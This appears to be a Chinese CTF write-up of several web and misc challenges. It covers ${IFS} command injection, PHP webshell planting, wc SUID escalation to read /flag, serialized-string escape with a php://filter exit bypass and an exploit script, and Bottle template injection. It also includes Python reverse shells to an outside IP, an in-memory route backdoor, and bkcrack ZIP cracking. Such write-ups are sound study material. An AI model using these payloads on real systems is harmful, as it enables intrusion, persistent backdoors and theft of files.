cat${IFS}/flag，读不出东西，其他都可以读，也没什么特殊报错，[LOG] Result: cat${IFS}/flag
这个时候就要考虑SUID提权 了，先写入后门 ，echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>shell.php，只能说很奇葩，双引号 有问题，然后我弄base64的话也是有点问题，最后选择了无标签的，还能省空格
然后拿蚁剑连上，右键打开虚拟终端
find / -user root -perm -4000 -print 2>/dev/null /var/www/html/wc /bin/umount /bin/mount /bin/su /usr/bin/newgrp /usr/bin/passwd /usr/bin/chfn /usr/bin/gpasswd /usr/bin/chsh
只有wc 能试试了，去搜了一下真有，wc提权
./wc --files0-from "/flag"
大致功能就是注册、登录、写文件
waf.php
<?php function waf ($c $lists =["flag" ,"'" ,"\\" ,"sleep" ,"and" ,"||" ,"&&" ,"select" ,"union" ]; foreach ($lists as $list ){ $c =str_replace ($list ,"error" ,$c ); } return $c ; }
一看这个waf就知道是字符串逃逸 了，看一下后面的死亡绕过，必须要拿到isadmin=1，因为有别的什么签名秘钥之类的操作，所以我们是登不上admin账号的，但我们可以通过用户名的字符串逃逸 实现我们要的isadmin=1，有这个足矣
根据User类我们可以手搓一下它的序列化数据
O:4 :"User" :2 :{s:8 :"username" ;s:5 :"admin" ;s:7 :"isadmin" ;b:1 ;} 因为我们不是真正的admin，所以要在用户名这里使isadmin=1 ，即用户名后追加 ";s:7:" isadmin";b:1;}，这里有21个字符，需要使用flag逃逸21次，变成下面的 O:4:" User":2:{s:8:" username";s:105:" flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:" isadmin";b:1;}" ;s:7 :"isadmin" ;b:0 ;}error替换后，后面的 ";s:7:" isadmin";b:0;}就会逃逸出去，不起作用
所以我们的用户名直接就是，flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}，然后拿这个用户名去随便注册就可以了
同时，dashboard.php这里还有个php死亡绕过
$userData = checkSignedCookie ();if ($userData ) { $user =unserialize ($userData ); if ($user ->isadmin){ $tmp =file_get_contents ("tmp/admin.html" ); echo $tmp ; if ($_POST ['txt' ]) { $content = '<?php exit; ?>' ; $content .= $_POST ['txt' ]; file_put_contents ($_POST ['filename' ], $content ); } } else { $tmp =file_get_contents ("tmp/admin.html" ); echo $tmp ; if ($_POST ['txt' ]||$_POST ['filename' ]){ echo "<h1>权限不足，写入失败<h1>" ; } } } else { echo 'token验证失败' ; }
filename=php://filter//convert.base64-decode/resource=/var/www/html/shell.phptxt=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+，作用就是将<?php exit(); ?>.$content进行base64编码后写入文件shell.php中，因为phpexita会被进行base64解码成php无法识别的内容而无法解析 ，但是PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==的base64解码成<?php eval($_POST[1]);?>被php解析执行
最后就是，连接木马，读取flag的操作了
官方给了自动化脚本
import requestsdef exp (url ): data = {"username" : 'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}' ,"password" :"123456" } r = requests.post(url+"register.php" , data=data) session = requests.Session() login_response = session.post(url+"login.php" , data=data) shell = {"filename" : "php://filter/convert.base64-decode/resource=/var/www/html/shell.php" ,"txt" :"aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==" } protected_response = session.post(url+"dashboard.php" , data=shell) response = requests.post(url+"shell.php" , data={"123" : "system('cat / flag')" }) print (response.text) if __name__ == "__main__" : url = "http://node2.anna.nssctf.cn:28932/" exp(url)
from bottle import Bottle, request, template, runapp = Bottle() messages = [] def handle_message (message ): message_items = "" .join([f""" <div class="message-card"> <div class="message-content">{msg} </div> <small class="message-time">#{idx + 1 } - 刚刚</small> </div> """ for idx, msg in enumerate (message)]) board = f"""<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简约留言板</title> <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <div class="container"> <div class="d-flex justify-content-between align-items-center mb-4"> <h1 class="mb-0">📝 简约留言板</h1> <a href="/Clean" class="btn btn-danger" onclick="return confirm('确定要清空所有留言吗？此操作不可恢复！')" > 🗑️ 一键清理 </a> </div> <form action="/submit" method="post"> <textarea name="message" placeholder="输入payload暴打出题人" required ></textarea> <div class="d-grid gap-2"> <button type="submit" class="btn-custom">发布留言</button> </div> </form> <div class="message-list mt-4"> <div class="d-flex justify-content-between align-items-center mb-3"> <h4 class="mb-0">最新留言（{len (message)} 条）</h4> {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else '' } </div> {message_items} </div> </div> </body> </html>""" return board def waf (message ): return message.replace("{" , "" ).replace("}" , "" ) @app.route('/' def index (): return template(handle_message(messages)) @app.route('/Clean' def Clean (): global messages messages = [] return '<script>window.location.href="/"</script>' @app.route('/submit' , method='POST' def submit (): message = waf(request.forms.get('message' )) messages.append(message) return template(handle_message(messages)) if __name__ == '__main__' : run(app, host='localhost' , port=9000 )
审一下代码，发现有过滤花括号 的waf，以及template模板渲染
试了一下，发现可以xss，并且内容留在了前端页面上，话说xss这种打法除了cookie外带 这种我好像没见过什么其他操作了()
<div class ="message-card" > <div class ="message-content" > <script > alert(1)</script > </div > <small class ="message-time" > #1 - 刚刚</small > </div > <div class ="message-card" > <div class ="message-content" > 123</div > <small class ="message-time" > #2 - 刚刚</small > </div >
可以考虑闭合</div>，题目用是bottle，不妨看看有没有bottle模板注入
看一下官方文档 ，可以嵌入python代码 ，以%开始
所谓闭合，就是我们自己填上里面的<div>的后半部分使得最外面的<div>成为完整的一部分，然后剩下的</div>我们需要补上它的<div>头，然后我们就可以在二者之间插入我们的恶意python代码 了
</div><small class="message-time" > %__import__('os' ).popen("cat /flag" ).read () <div class="message-card" >< class="message-content" >123 </div><small class="message-time" > %__import__('os' ).popen("cat /flag > 1.txt" ).read () <div class="message-card" >< class="message-content" >123 </div><small class="message-time" > %include("1.txt" ) <div class="message-card" >< class="message-content" >123 </div><small class="message-time" > %python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('8.x.x.x',2333));[os.dup2(s.fileno(),i) for i in range(3)];p=subprocess.call(['/bin/bash','-i'])" <div class="message-card" >< class="message-content" >123 </div><small class="message-time" > %__import__('os' ).popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"8.x.x.x\",2333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'" ).read () <div class="message-card" >< class="message-content" >123 </div><small class="message-time" > % from bottle import Bottle, request % app=__import__('sys' ).modules['__main__' ].__dict__['app' ] % app.route("/shell" ,"GET" ,lambda :__import__('os' ).popen(request.params.get('cmd' )).read ()) <div class="message-card" >< class="message-content" >123
内存马
是需要闭合的吧，但是出题人那好像没写
是个黑盒题，发现了%直接就触发了waf，然后出题人这里说是，白名单之后加了一些AST的语法检测，在我们语法报错的时候会变量替换
在python里% xxx这本身就是一个错误的语法，为了让它可以通过语法检测(然而语法检测这种东西肯定针对的是代码)，将它变成字符串 就可以了，所以用引号包裹就可以绕过AST的检测
payload的话，这里好像只有内存马 生效了，其他的可以多试几次就可以了
""" % from bottle import Bottle, request % app=__import__('sys').modules['__main__'].__dict__['app'] % app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read()) """
先爆破一下密码，发现好像爆不出来，然后注意到压缩包里面是图片，使用bkcrack进行已知明文攻击 (这里是符合攻击条件的)，因为png头是固定的
.\bkcrack.exe -C .\mybrave.zip -c mybrave.png -x 0 89504E470D0A1A0A0000000D49484452 .\bkcrack.exe -C .\mybrave.zip -c mybrave.png -k 97d30dcc 173b15a8 6e0e7455 -r 1..12 ?p .\bkcrack.exe -C .\mybrave.zip -c mybrave.png -k 97d30dcc 173b15a8 6e0e7455 -d mybrave.png
一开始爆12位密码无果，还是直接恢复出来吧解base64 即可
唉，也只能四处抄抄学学了
